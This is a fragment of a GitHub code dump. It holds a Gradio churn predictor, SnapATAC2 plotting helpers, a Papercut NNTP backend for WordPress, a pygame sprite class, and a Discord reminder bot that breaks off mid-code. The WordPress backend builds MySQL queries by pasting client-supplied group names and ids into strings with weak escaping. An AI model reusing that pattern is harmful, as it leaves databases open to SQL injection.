'ARPU_SEGMENT':[ARPU_SEGMENT], \n 'FREQUENCE':[FREQUENCE], \n 'DATA_VOLUME':[DATA_VOLUME], \n 'ON_NET':[ON_NET],\n 'ORANGE':[ORANGE], \n 'TIGO':[TIGO], \n 'ZONE1':[ZONE1], \n 'ZONE2':[ZONE2],\n 'MRG':[MRG],\n 'REGULARITY':[REGULARITY], \n 'FREQ_TOP_PACK':[FREQ_TOP_PACK]})\n \n transformer = preprocessor.transform(input_data)\n \n predt = Final_model.predict(transformer) \n #return prediction\n if predt[0]==1:\n return \"Customer will Churn\" \n return \"Customer will not Churn\"\n \n\n#create the input components for gradio\nREGION = gr.inputs.Dropdown(choices =['DAKAR', 'THIES', 'SAINT-LOUIS', 'LOUGA', 'KAOLACK', 'DIOURBEL', 'TAMBACOUNDA' 'KAFFRINE,KOLDA', 'FATICK', 'MATAM', 'ZIGUINCHOR', 'SEDHIOU', 'KEDOUGOU']) \nTENURE = gr.inputs.Dropdown(choices =['K > 24 month', 'I 18-21 month', 'H 15-18 month', 'G 12-15 month', 'J 21-24 month', 'F 9-12 month', 'E 6-9 month', 'D 3-6 month']) \nMONTANT = gr.inputs.Number()\nFREQUENCE_RECH = gr.Number()\nREVENUE = gr.Number()\nARPU_SEGMENT = gr.Number() \nFREQUENCE = gr.Number() \nDATA_VOLUME = gr.Number() \nON_NET = gr.Number()\nORANGE = gr.Number()\nTIGO = gr.Number()\nZONE1 = gr.Number() \nZONE2 = gr.Number()\nMRG = gr.inputs.Dropdown(choices =['NO']) \nREGULARITY = gr.Number()\nFREQ_TOP_PACK = gr.Number()\n\noutput = gr.Textbox(label='Prediction')\n#create the interface component\n\napp = gr.Interface(fn =make_prediction,inputs =[REGION, \n TENURE, \n MONTANT, \n FREQUENCE_RECH, \n REVENUE, \n ARPU_SEGMENT, \n FREQUENCE, \n DATA_VOLUME, \n ON_NET, \n ORANGE, \n TIGO, \n ZONE1, \n ZONE2,\n MRG, \n REGULARITY, \n FREQ_TOP_PACK],\n title =\"Customer Churn Predictor\", \n description=\"Enter the feilds Below and click the submit button to Make Your Prediction\",\n outputs = output)\n\napp.launch(share = True, debug = True)","repo_name":"WachiraChris/Capstone-Project_-Churn-Prediction-","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3997,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"73823275272","text":"from __future__ import annotations\n\nimport numpy as np\nimport rustworkx as rx\n\nfrom ._base import render_plot\n\ndef network_edge_stat(\n network: rx.PyDiGraph,\n **kwargs,\n):\n \"\"\"\n Parameters\n ----------\n network\n Network.\n kwargs \n Additional arguments passed to :func:`~snapatac2.pl.render_plot` to\n control the final plot output. Please see :func:`~snapatac2.pl.render_plot`\n for details.\n \"\"\"\n from collections import defaultdict\n import plotly.graph_objects as go\n\n scores = defaultdict(lambda: defaultdict(lambda: []))\n\n for fr, to, data in network.edge_index_map().values():\n type = \"{} -> {}\".format(network[fr].type, network[to].type)\n if data.cor_score is not None:\n scores[\"correlation\"][type].append(data.cor_score)\n if data.regr_score is not None:\n scores[\"regression\"][type].append(data.regr_score)\n \n fig = go.Figure()\n\n for key, vals in scores[\"correlation\"].items():\n fig.add_trace(go.Violin(\n y=vals,\n name=key,\n box_visible=True,\n meanline_visible=True\n ))\n\n return render_plot(fig, **kwargs)\n\ndef network_scores(\n network: rx.PyDiGraph,\n score_name: str,\n width: float = 800,\n height: float = 400,\n show: bool = True,\n interactive: bool = True,\n out_file: str | None = None,\n):\n \"\"\"\n score_name\n Name of the edge attribute\n width\n The width of the plot\n height\n The height of the plot\n \"\"\"\n import plotly.express as px\n import pandas as pd\n import bisect\n\n def human_format(num):\n num = float('{:.3g}'.format(num))\n magnitude = 0\n while abs(num) >= 1000:\n magnitude += 1\n num /= 1000.0\n return '{}{}'.format('{:f}'.format(num).rstrip('0').rstrip('.'), ['', 'K', 'M', 'B', 'T'][magnitude])\n\n break_points = [100, 500, 2000, 20000, 50000, 100000, 500000]\n intervals = []\n for i in range(len(break_points)):\n if i == 0:\n intervals.append(\"0 - \" + human_format(break_points[i]))\n else:\n intervals.append(human_format(break_points[i - 1]) + \" - \" + human_format(break_points[i]))\n intervals.append(\"> 500k\")\n values = [[] for _ in range(len(intervals))]\n for e in network.edges():\n i = bisect.bisect(break_points, e.distance)\n sc = getattr(e, score_name)\n if sc is not None:\n values[i].append(sc)\n\n intervals, values = zip(*filter(lambda x: len(x[1]) > 0, zip(intervals, values)))\n values = [np.nanmean(v) for v in values]\n\n df = pd.DataFrame({\n \"Distance to TSS (bp)\": intervals,\n \"Average score\": values,\n })\n fig = px.bar(\n df, x=\"Distance to TSS (bp)\", y=\"Average score\", title = score_name, \n )\n return render_plot(fig, width, height, interactive, show, out_file)","repo_name":"kaizhang/SnapATAC2","sub_path":"snapatac2-python/snapatac2/plotting/_network.py","file_name":"_network.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"27"} +{"seq_id":"31970507959","text":"import MySQLdb\nimport time\nfrom mimify import mime_encode_header, mime_decode_header\nimport re\nimport settings\nimport mime\nimport strutil\nimport os.path\n\ntry:\n import html2text\nexcept ImportError:\n html2text = None # Optional, GPL\n\n# patch by Andreas Wegmann to fix the handling of unusual encodings of messages\nq_quote_multiline = re.compile(\"=\\?(.*?)\\?[qQ]\\?(.*?)\\?=.*?=\\?\\\\1\\?[qQ]\\?(.*?)\\?=\", re.M | re.S)\n# we don't need to compile the regexps everytime..\ndoubleline_regexp = re.compile(\"^\\.\\.\", re.M)\nsingleline_regexp = re.compile(\"^\\.\", re.M)\nfrom_regexp = re.compile(\"^From:(.*)<(.*)>\", re.M)\nsubject_regexp = re.compile(\"^Subject:(.*)\", re.M)\nreferences_regexp = re.compile(\"^References:(.*)<(.*)>\", re.M)\nlines_regexp = re.compile(\"^Lines:(.*)\", re.M)\n\nclass Papercut_Storage:\n \"\"\"\n Storage Backend interface for the Wordpress blog software\n \n This is the interface for Wordpress running on a MySQL database. For more information\n on the structure of the 'storage' package, please refer to the __init__.py\n available on the 'storage' sub-directory.\n \"\"\"\n\n def __init__(self):\n self.conn = MySQLdb.connect(host=settings.dbhost, db=settings.dbname, user=settings.dbuser, passwd=settings.dbpass, charset='utf8', use_unicode=True)\n self.cursor = self.conn.cursor()\n self.cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS wp_newsgroup_meta(\n article_number BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,\n message_id CHAR(255) UNIQUE NOT NULL,\n id BIGINT NOT NULL, tbl CHAR(50), newsgroup CHAR(255),\n CONSTRAINT UNIQUE INDEX id_table (id, tbl),\n INDEX newsgroup (newsgroup)\n )\"\"\")\n self.update_newsgroup_meta()\n\n def get_message_body(self, headers):\n \"\"\"Parses and returns the most appropriate message body possible.\n \n The function tries to extract the plaintext version of a MIME based\n message, and if it is not available then it returns the html version. \n \"\"\"\n return mime.get_text_message(headers)\n\n def quote_string(self, text):\n \"\"\"Quotes strings the MySQL way.\"\"\"\n return text.replace(\"'\", \"\\\\'\")\n\n def group_exists(self, group_name):\n return (group_name == 'blog.singpolyma') # TODO\n\n def update_newsgroup_meta(self):\n group = 'blog.singpolyma' # TODO\n meta_table = self.get_table_name(table_name='newsgroup_meta')\n posts_table = self.get_table_name(table_name='posts')\n comments_table = self.get_table_name(table_name='comments')\n stmt = \"\"\" INSERT INTO wp_newsgroup_meta (id, tbl, message_id, newsgroup)\n SELECT ID, tbl, message_id, '%s' FROM (\n (SELECT\n a.ID, 'wp_posts' AS tbl,\n CONCAT('') AS message_id,\n post_date_gmt AS datestamp\n FROM\n wp_posts a LEFT JOIN wp_newsgroup_meta b ON a.ID=b.id AND b.tbl='wp_posts'\n WHERE\n isNULL(b.id) AND post_type='post' AND post_status='publish'\n ) UNION (\n SELECT\n comment_ID as ID, 'wp_comments' AS tbl,\n CONCAT('') AS message_id,\n comment_date_gmt AS datestamp\n FROM\n wp_posts c, wp_comments a LEFT JOIN wp_newsgroup_meta b ON comment_ID=b.id AND b.tbl='wp_comments'\n WHERE\n a.comment_post_ID=c.ID AND\n isNULL(b.id) AND comment_approved='1' AND\n post_type='post' AND post_status='publish'\n )\n ORDER BY datestamp) t\n \"\"\".replace('wp_posts', posts_table).replace('wp_comments', comments_table).replace('wp_newsgroup_meta', meta_table) % (group, settings.nntp_hostname, settings.nntp_hostname)\n self.cursor.execute(stmt)\n\n def article_exists(self, group_name, style, range):\n self.update_newsgroup_meta()\n table_name = self.get_table_name(table_name='newsgroup_meta')\n stmt = \"\"\"\n SELECT\n COUNT(*) AS total\n FROM\n %s\n WHERE\n newsgroup='%s' AND \"\"\" % (table_name, group_name)\n if style == 'range':\n stmt = \"%s AND article_number > %s\" % (stmt, range[0])\n if len(range) == 2:\n stmt = \"%s AND article_number < %s\" % (stmt, range[1])\n else:\n stmt = \"%s AND article_number = %s\" % (stmt, range[0])\n self.cursor.execute(stmt)\n return self.cursor.fetchone()[0]\n\n def get_first_article(self, group_name):\n self.update_newsgroup_meta()\n table_name = self.get_table_name(table_name='newsgroup_meta')\n stmt = \"\"\"\n SELECT\n IF(MIN(message_num) IS NULL, 0, MIN(message_num)) AS first_article\n FROM\n %s\n WHERE\n newsgroup='%s'\"\"\" % (table_name, group_name)\n num_rows = self.cursor.execute(stmt)\n return self.cursor.fetchone()[0]\n\n def get_group_stats(self, group_name):\n self.update_newsgroup_meta()\n table_name = self.get_table_name(table_name='newsgroup_meta')\n stmt = \"\"\"\n SELECT\n COUNT(article_number) AS total,\n IF(MAX(article_number) IS NULL, 0, MAX(article_number)) AS maximum,\n IF(MIN(article_number) IS NULL, 0, MIN(article_number)) AS minimum\n FROM\n %s\n WHERE\n newsgroup='%s'\"\"\" % (table_name, group_name)\n self.cursor.execute(stmt)\n total, maxi, mini = self.cursor.fetchone()\n return (total, mini, maxi, group_name)\n\n def get_table_name(self, group_name=None, table_name=None):\n if not table_name:\n table_name = 'posts'\n return 'wp_' + table_name # TODO\n\n def get_message_id(self, msg_num, group, table=None):\n table_name = self.get_table_name(table_name='newsgroup_meta')\n compar = table and 'id' or 'article_number'\n stmt = \"\"\"\n SELECT\n message_id\n FROM\n %s\n WHERE\n newsgroup='%s' AND %s=%s\n \"\"\" % (table_name, group, compar, int(msg_num))\n if table:\n stmt += \" AND tbl='%s'\" % self.get_table_name(table_name=table)\n self.cursor.execute(stmt)\n return self.cursor.fetchone()[0]\n\n def get_article_sql(self):\n meta_table = self.get_table_name(table_name='newsgroup_meta')\n posts_table = self.get_table_name(table_name='posts')\n comments_table = self.get_table_name(table_name='comments')\n stmt = \"\"\"\n SELECT M.article_number,S.*,M.message_id FROM (\n (SELECT\n A.ID as ID,\n display_name,\n user_email,\n post_title,\n UNIX_TIMESTAMP(post_date_gmt) AS datestamp,\n post_content,\n post_parent,\n 0 AS comment_parent\n FROM\n wp_posts A,\n wp_users\n WHERE\n A.post_type='post' AND A.post_status='publish' AND\n A.post_author=wp_users.ID\n ) UNION (\n SELECT\n comment_ID AS ID,\n IF(user_id = 0, comment_author, display_name) as display_name,\n IF(user_id = 0, comment_author_email, user_email) as user_email,\n CONCAT('Re: ', post_title) as post_title,\n UNIX_TIMESTAMP(comment_date_gmt) AS datestamp,\n comment_content AS post_content,\n comment_post_ID AS post_parent,\n comment_parent\n FROM\n wp_comments A LEFT OUTER JOIN\n wp_users ON user_id=wp_users.ID,\n wp_posts\n WHERE\n comment_post_ID=wp_posts.ID AND\n comment_approved='1' AND\n wp_posts.post_type='post' AND wp_posts.post_status='publish'\n ) ) S, wp_newsgroup_meta M\n WHERE\n M.id=S.ID\n \"\"\".replace('wp_posts', posts_table).replace('wp_comments', comments_table).replace('wp_newsgroup_meta', meta_table)\n return stmt\n\n def get_NEWGROUPS(self, ts, group='%'):\n return None # TODO\n\n def get_NEWNEWS(self, ts, group='*'):\n self.update_newsgroup_meta()\n group = 'blog.singpolyma' # TODO\n meta_table = self.get_table_name(table_name='newsgroup_meta')\n posts_table = self.get_table_name(table_name='posts')\n comments_table = self.get_table_name(table_name='comments')\n ts = int(time.mktime(ts))\n stmt = \"\"\"\n (SELECT\n article_number\n FROM\n wp_posts, wp_newsgroup_meta\n WHERE\n wp_posts.ID=wp_newsgroup_meta.id AND wp_newsgroup_meta.tbl='wp_posts' AND\n post_type='post' AND post_status='publish' AND\n UNIX_TIMESTAMP(post_date_gmt) >= %s\n ) UNION (\n SELECT\n article_number\n FROM\n wp_comments,\n wp_posts,\n wp_newsgroup_meta\n WHERE\n comment_ID=wp_newsgroup_meta.id AND wp_newsgroup_meta.tbl='wp_comments' AND\n comment_post_ID=wp_posts.ID AND\n post_type='post' AND post_status='publish' AND\n comment_approved = '1' AND\n UNIX_TIMESTAMP(comment_date_gmt) >= %s\n )\n ORDER BY\n article_number ASC\"\"\" % (ts, ts)\n stmt = stmt.replace('wp_posts', posts_table).replace('wp_comments', comments_table).replace('wp_newsgroup_meta', meta_table)\n self.cursor.execute(stmt)\n result = list(self.cursor.fetchall())\n return \"\\r\\n\".join([\"%s\" % k for k in result])\n\n def get_GROUP(self, group_name):\n stats = self.get_group_stats(group_name)\n return (stats[0], stats[1], stats[2])\n\n def get_LIST(self, username=\"\"):\n lists = []\n stats = self.get_group_stats('blog.singpolyma')\n lists.append(\"%s %s %s y\" % ('blog.singpolyma', stats[2], stats[1])) # TODO\n return \"\\r\\n\".join(lists)\n\n def get_STAT(self, group_name, id):\n meta_table = self.get_table_name(table_name='newsgroup_meta')\n stmt = \"\"\"\n SELECT\n article_number\n FROM\n %s\n WHERE\n newsgroup='%s' AND\n article_number=%s\"\"\" % (meta_table, group_name, id)\n return self.cursor.execute(stmt)\n\n def get_ARTICLE(self, group_name, id, headers_only=False, body_only=False):\n stmt = self.get_article_sql()\n if str(id).count('<') > 0 or str(id).count('@') > 0:\n id = self.quote_string(id)\n stmt += \" AND message_id='%s'\" % (id,)\n else:\n id = int(id)\n stmt += \" AND article_number=%s\" % (id,)\n num_rows = self.cursor.execute(stmt)\n if num_rows == 0:\n return None\n result = list(self.cursor.fetchone())\n if not body_only:\n if len(result[3]) == 0:\n author = result[2]\n else:\n author = \"%s <%s>\" % (result[2], result[3])\n formatted_time = strutil.get_formatted_time(time.localtime(result[5]))\n headers = []\n headers.append(\"Path: %s\" % (settings.nntp_hostname))\n headers.append(\"From: %s\" % (author))\n headers.append(\"Newsgroups: %s\" % (group_name))\n headers.append(\"Date: %s\" % (formatted_time))\n headers.append(\"Subject: %s\" % (result[4]))\n headers.append(\"Message-ID: %s\" % (result[9]))\n headers.append(\"Xref: %s %s:%s\" % (settings.nntp_hostname, group_name, result[0]))\n parent = []\n if result[7] != 0:\n parent.append(self.get_message_id(result[7], group_name, 'posts'))\n if result[8] != 0:\n parent.append(self.get_message_id(result[8], group_name, 'comments'))\n if len(parent) > 0:\n headers.append(\"References: \" + ', '.join(parent))\n headers.append(\"In-Reply-To: \" + parent.pop())\n headers.append('Content-Type: text/plain; charset=utf-8')\n if headers_only:\n return \"\\r\\n\".join(headers)\n if html2text:\n body = html2text.html2text(result[6].encode('utf-8').replace(\"\\r\\n\", \"\\n\").replace(\"\\r\", \"\\n\").replace(\"\\n\\n\", \"

\")).encode('utf-8')\n else:\n body = strutil.format_body(result[6].encode('utf-8'))\n if body_only:\n return body\n return (\"\\r\\n\".join(headers).encode('utf-8'), body)\n\n def get_LAST(self, group_name, current_id):\n meta_table = self.get_table_name(table_name='newsgroup_meta')\n stmt = \"\"\"\n SELECT\n article_number\n FROM\n %s\n WHERE\n newsgroup='%s' AND article_number < %s\n ORDER BY\n ID DESC\n LIMIT 0, 1\n \"\"\" % (meta_table, group_name, current_id)\n num_rows = self.cursor.execute(stmt)\n if num_rows == 0:\n return None\n return self.cursor.fetchone()[0]\n\n def get_NEXT(self, group_name, current_id):\n meta_table = self.get_table_name(table_name='newsgroup_meta')\n stmt = \"\"\"\n SELECT\n article_number\n FROM\n %s\n WHERE\n newsgroup='%s' AND article_number > %s\n ORDER BY\n ID ASC\n LIMIT 0, 1\n \"\"\" % (meta_table, group_name, current_id)\n num_rows = self.cursor.execute(stmt)\n if num_rows == 0:\n return None\n return self.cursor.fetchone()[0]\n\n def get_HEAD(self, group_name, id):\n return self.get_ARTICLE(group_name, id, headers_only=True)\n\n def get_BODY(self, group_name, id):\n return self.get_ARTICLE(group_name, id, body_only=True)\n\n def get_XOVER(self, group_name, start_id, end_id='ggg'):\n self.update_newsgroup_meta()\n stmt = self.get_article_sql()\n stmt += \" AND article_number >= %s\" % (start_id,)\n if end_id != 'ggg':\n stmt += \" AND article_number <= %s\" % (end_id,)\n self.cursor.execute(stmt)\n result = list(self.cursor.fetchall())\n overviews = []\n for row in result:\n if html2text:\n body = html2text.html2text(row[6].encode('utf-8')).encode('utf-8')\n else:\n body = strutil.format_body(row[6].encode('utf-8'))\n if row[3] == '':\n author = row[2]\n else:\n author = \"%s <%s>\" % (row[2], row[3])\n formatted_time = strutil.get_formatted_time(time.localtime(row[5]))\n message_id = row[9]\n line_count = body.count(\"\\n\")\n xref = 'Xref: %s %s:%s' % (settings.nntp_hostname, group_name, row[0])\n parent = []\n if row[7] != 0:\n parent.append(self.get_message_id(row[7], group_name, 'posts'))\n if row[8] != 0:\n parent.append(self.get_message_id(row[8], group_name, 'comments'))\n reference = ', '.join(parent)\n # message_number subject author date message_id reference bytes lines xref\n overviews.append(\"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\" % (row[0], row[4], author, formatted_time, message_id, reference, len(body), line_count, xref))\n return \"\\r\\n\".join(overviews)\n\n def get_XPAT(self, group_name, header, pattern, start_id, end_id='ggg'):\n return None # TODO: really broken\n # XXX: need to actually check for the header values being passed as\n # XXX: not all header names map to column names on the tables\n table_name = self.get_table_name(group_name)\n stmt = \"\"\"\n SELECT\n A.ID,\n post_parent,\n display_name,\n user_email,\n post_title,\n UNIX_TIMESTAMP(post_date_gmt) AS datestamp,\n post_content\n FROM\n %s A, \n wp_users\n WHERE\n A.post_type='post' AND A.post_status='publish' AND\n %s REGEXP '%s' AND\n post_author = wp_users.ID AND\n A.ID >= %s\"\"\" % (table_name, header, strutil.format_wildcards(pattern), start_id)\n if end_id != 'ggg':\n stmt = \"%s AND A.id <= %s\" % (stmt, end_id)\n num_rows = self.cursor.execute(stmt)\n if num_rows == 0:\n return None\n result = list(self.cursor.fetchall())\n hdrs = []\n for row in result:\n if header.upper() == 'SUBJECT':\n hdrs.append('%s %s' % (row[0], row[4]))\n elif header.upper() == 'FROM':\n # XXX: totally broken with empty values for the email address\n hdrs.append('%s %s <%s>' % (row[0], row[2], row[3]))\n elif header.upper() == 'DATE':\n hdrs.append('%s %s' % (row[0], strutil.get_formatted_time(time.localtime(result[5]))))\n elif header.upper() == 'MESSAGE-ID':\n hdrs.append(row[0] + ' ' + self.get_message_id(row[0], group_name))\n elif (header.upper() == 'REFERENCES') and (row[1] != 0):\n hdrs.append(row[0] + ' ' + self.message_id(row[1], group_name))\n elif header.upper() == 'BYTES':\n hdrs.append('%s %s' % (row[0], len(row[6])))\n elif header.upper() == 'LINES':\n hdrs.append('%s %s' % (row[0], len(row[6].split('\\n'))))\n elif header.upper() == 'XREF':\n hdrs.append('%s %s %s:%s' % (row[0], settings.nntp_hostname, group_name, row[0]))\n if len(hdrs) == 0:\n return \"\"\n else:\n return \"\\r\\n\".join(hdrs)\n\n def get_LISTGROUP(self, group_name):\n self.update_newsgroup_meta()\n meta_table = self.get_table_name(table_name='newsgroup_meta')\n stmt = \"\"\"\n SELECT\n article_number\n FROM\n %s\n WHERE\n newsgroup='%s'\n \"\"\" % (meta_table, group_name)\n self.cursor.execute(stmt)\n result = list(self.cursor.fetchall())\n return \"\\r\\n\".join([\"%s\" % k for k in result])\n\n def get_XGTITLE(self, pattern=None):\n return \"blog.singpolyma Singpolyma\" # TODO\n\n def get_XHDR(self, group_name, header, style, range):\n self.update_newsgroup_meta()\n stmt = self.get_article_sql()\n\n if style == 'range':\n stmt += ' AND article_number >= %s' % (range[0],)\n if len(range) == 2:\n stmt += ' AND article_number <= %s' % (range[1])\n else:\n stmt += ' AND article_number = %s' % (range[0],)\n if self.cursor.execute(stmt) == 0:\n return None\n result = self.cursor.fetchall()\n hdrs = []\n for row in result:\n parent = []\n if row[7] != 0:\n parent.append(self.get_message_id(row[7], group_name, 'posts'))\n if row[8] != 0:\n parent.append(self.get_message_id(row[8], group_name, 'comments'))\n if header.upper() == 'SUBJECT':\n hdrs.append('%s %s' % (row[0], row[4]))\n elif header.upper() == 'FROM':\n hdrs.append('%s %s <%s>' % (row[0], row[2], row[3]))\n elif header.upper() == 'DATE':\n hdrs.append('%s %s' % (row[0], strutil.get_formatted_time(time.localtime(result[5]))))\n elif header.upper() == 'MESSAGE-ID':\n hdrs.append(row[0] + ' ' + row[9])\n elif (header.upper() == 'REFERENCES') and len(parent) > 0:\n hdrs.append('%s %s' % (row[0], ', '.join(parent)))\n elif header.upper() == 'BYTES':\n hdrs.append('%s %s' % (row[0], len(row[6])))\n elif header.upper() == 'LINES':\n hdrs.append('%s %s' % (row[0], len(row[6].split('\\n'))))\n elif header.upper() == 'XREF':\n hdrs.append('%s %s %s:%s' % (row[0], settings.nntp_hostname, group_name, row[0]))\n if len(hdrs) == 0:\n return \"\"\n else:\n return \"\\r\\n\".join(hdrs)\n\n def do_POST(self, group_name, lines, ip_address, username=''):\n return None # TODO, below code from other engine, just for reference\n table_name = self.get_table_name(group_name)\n body = self.get_message_body(lines)\n author, email = from_regexp.search(lines, 0).groups()\n subject = subject_regexp.search(lines, 0).groups()[0].strip()\n # patch by Andreas Wegmann to fix the handling of unusual encodings of messages\n lines = mime_decode_header(re.sub(q_quote_multiline, \"=?\\\\1?Q?\\\\2\\\\3?=\", lines))\n if lines.find('References') != -1:\n # get the 'modifystamp' value from the parent (if any)\n references = references_regexp.search(lines, 0).groups()\n parent_id, void = references[-1].strip().split('@')\n stmt = \"\"\"\n SELECT\n IF(MAX(id) IS NULL, 1, MAX(id)+1) AS next_id\n FROM\n %s\"\"\" % (table_name)\n num_rows = self.cursor.execute(stmt)\n if num_rows == 0:\n new_id = 1\n else:\n new_id = self.cursor.fetchone()[0]\n stmt = \"\"\"\n SELECT\n id,\n thread,\n modifystamp\n FROM\n %s\n WHERE\n approved='Y' AND\n id=%s\n GROUP BY\n id\"\"\" % (table_name, parent_id)\n num_rows = self.cursor.execute(stmt)\n if num_rows == 0:\n return None\n parent_id, thread_id, modifystamp = self.cursor.fetchone()\n else:\n stmt = \"\"\"\n SELECT\n IF(MAX(id) IS NULL, 1, MAX(id)+1) AS next_id,\n UNIX_TIMESTAMP()\n FROM\n %s\"\"\" % (table_name)\n self.cursor.execute(stmt)\n new_id, modifystamp = self.cursor.fetchone()\n parent_id = 0\n thread_id = new_id\n stmt = \"\"\"\n INSERT INTO\n %s\n (\n id,\n datestamp,\n thread,\n parent,\n author,\n subject,\n email,\n host,\n email_reply,\n approved,\n msgid,\n modifystamp,\n userid\n ) VALUES (\n %s,\n NOW(),\n %s,\n %s,\n '%s',\n '%s',\n '%s',\n '%s',\n 'N',\n 'Y',\n '',\n %s,\n 0\n )\n \"\"\" % (table_name, new_id, thread_id, parent_id, self.quote_string(author.strip()), self.quote_string(subject), self.quote_string(email), ip_address, modifystamp)\n if not self.cursor.execute(stmt):\n return None\n else:\n # insert into the '*_bodies' table\n stmt = \"\"\"\n INSERT INTO\n %s_bodies\n (\n id,\n body,\n thread\n ) VALUES (\n %s,\n '%s',\n %s\n )\"\"\" % (table_name, new_id, self.quote_string(body), thread_id)\n if not self.cursor.execute(stmt):\n # delete from 'table_name' before returning..\n stmt = \"\"\"\n DELETE FROM\n %s\n WHERE\n id=%s\"\"\" % (table_name, new_id)\n self.cursor.execute(stmt)\n return None\n else:\n # alert forum moderators\n self.send_notifications(group_name, new_id, thread_id, parent_id, author.strip(), email, subject, body)\n return 1\n","repo_name":"singpolyma/papercut-wordpress","sub_path":"wordpress.py","file_name":"wordpress.py","file_ext":"py","file_size_in_byte":25538,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"13652347901","text":"import pygame\nfrom pygame.locals import *\nimport os\nimport sys\nimport math\n\nclass Star(object):\n # CITATION: image from http://www.iconarchive.com/show/colobrush-\n # icons-by-gianni-polito/system-star-icon.html\n img = pygame.image.load(os.path.join(\"images\", \"star.png\"))\n def __init__(self, x, y, width, height):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n self.hitBox = (x, y, width, height)\n self.count = 0\n \n def draw(self, win):\n self.hitBox = (self.x, self.y + 6, self.width - 14, \\\n self.height + 4)\n win.blit(pygame.transform.scale(self.img, (60, 60)), \\\n (self.x, self.y))\n s = pygame.Surface((1000,750)) \n s.set_alpha(128) \n s.fill((255,255,255)) \n win.blit(s, (1000, 1000), self.hitBox) \n \n def collide(self, rect):\n if rect[0] + rect[2] > self.hitBox[0] and rect[0] < \\\n (self.hitBox[0] + self.hitBox[2]):\n if rect[1] + rect[3] > self.hitBox[1]: \n return True\n return False","repo_name":"michelle03029/free-shavacado","sub_path":"Star.py","file_name":"Star.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"15675666187","text":"# bot.py\nimport os\nimport re\nimport discord\nfrom datetime import datetime, timedelta, time\nfrom dotenv import load_dotenv\nfrom discord.ext import tasks, commands\nfrom tinydb import TinyDB, where, Query\n\n\ndb = TinyDB('db.json')\ndb_users = TinyDB('users.json')\n\nbot = commands.Bot(command_prefix='!')\n\n\n\nload_dotenv()\nTOKEN = os.getenv('DISCORD_TOKEN')\n\nclient = discord.Client()\n\n\ndiscord.Intents.reactions = True\ndiscord.Intents.members = True\n\n@tasks.loop(seconds=50.0)\nasync def slow_count():\n res = db.all()\n cur_date = datetime.now().strftime(\"%Y-%m-%d %H:%M\")\n for r in res:\n if r[\"date\"] == cur_date:\n msg = ''\n print(f'cur_date: {cur_date}')\n r = db.get(where(\"date\") == cur_date)\n print(f'Alert for id: {r[\"author_id\"]}')\n channel = client.get_channel(r[\"channel_id\"])\n if r[\"author_id\"]:\n for i in r[\"author_id\"]:\n msg = msg + f'<@{i}> '\n\n await channel.send(f'{msg} {r[\"game_name\"]}!')\n else:\n msg = f'Сейчас могли бы играть в {r[\"game_name\"]}'\n await channel.send(f'{msg} {r[\"game_name\"]}!')\n else:\n print(\"Nothing to alert\")\n\n@client.event\nasync def on_ready():\n \n slow_count.start()\n print(f'{client.user} has connected to Discord!')\n\nasync def responce(message, game_number, game_name, author_name_list, date):\n names = ''''''\n c = 1\n\n for author_name in author_name_list:\n\n names = names + f'''{c} - {author_name}\\n'''\n c += 1\n\n if author_name_list:\n response = f'{game_number} - сегодня {game_name} в {date.strftime(\"%H:%M\")}. Подписались: \\n{names}'\n res = await message.channel.send(response)\n else:\n response = f'сегодня хотели {game_name} в {date.strftime(\"%H:%M\")}, но все отписались'\n res = await message.channel.send(response)\n\n print(f'game_name: {game_name}, date: {date}')\n\n r = db.update(\n {\"message_id\": res.id},\n where('game_name') == game_name and where('date') == date.strftime(\"%Y-%m-%d %H:%M\")\n )\n\n print(f'update: {r}')\n\n emojis = ['➕', '➖']\n\n for emoji in emojis:\n await res.add_reaction(emoji)\n\nasync def subscribe(reaction, game_name, game_date, user):\n\n print(f\"game_name: {game_name}\")\n print(f\"game_date: {game_date}\")\n\n res = db.get(where('message_id') == reaction.message.id)\n \n if user.name in res[\"author_name\"]:\n response = f'{user.name}, ты уже подписан'\n res = await reaction.message.channel.send(response)\n else:\n add_author_name_list = res[\"author_name\"]\n add_author_name_list.append(user.name)\n add_author_id_list = res[\"author_id\"]\n add_author_id_list.append(user.id)\n db.update({\"author_name\": add_author_name_list}, where('message_id') == reaction.message.id)\n db.update({\"author_id\": add_author_id_list}, where('message_id') == reaction.message.id)\n date_in_db = datetime.strptime(game_date, \"%Y-%m-%d %H:%M\")\n cur_date = datetime.now()\n\n if date_in_db.date() == cur_date.date():\n response = f'{user.name} подписался на {game_name} сегодня в {date_in_db.strftime(\"%H:%M\")}'\n else:\n response = f'{user.name} подписан на {game_name} в {date_in_db.strftime(\"%d %b %H:%M\")}'\n\n res = await reaction.message.channel.send(response)\n\nasync def unsubscribe(reaction, game_name, game_date, user):\n res = db.get(where('message_id') == reaction.message.id)\n\n if user.name in res[\"author_name\"]:\n add_author_name_list = res[\"author_name\"]\n add_author_name_list.remove(user.name)\n add_author_id_list = res[\"author_id\"]\n add_author_id_list.remove(user.id)\n db.update({\"author_name\": add_author_name_list}, where('message_id') == reaction.message.id)\n db.update({\"author_id\": add_author_id_list}, where('message_id') == reaction.message.id)\n date_in_db = datetime.strptime(game_date, \"%Y-%m-%d %H:%M\")\n response = f'{user.name} отписался от {game_name} в {str(date_in_db)}'\n res = await reaction.message.channel.send(response) \n # else:\n # response = f'Пользователь {user.name} не подписан на {game_name}' \n # res = await reaction.message.channel.send(response)\n \n@bot.command()\nasync def test(ctx):\n print(ctx)\n print(ctx.message)\n print(ctx.message.id)\n await ctx.send('Hi!')\n\n\n@client.event\nasync def on_message(message):\n\n if message.author == client.user:\n return\n\n print(message.author)\n\n pattern_add = re.compile(\"^(!add)\\s(.*)\\s(.*)\")\n match_result_add = re.match(pattern_add, message.content)\n\n # ADD\n\n if match_result_add:\n game_name = match_result_add.groups()[1]\n \n pattern_game_name = re.compile(\"^[a-zA-Z,а-яА-Я]\")\n right_game_name = re.match(pattern_game_name, game_name)\n\n 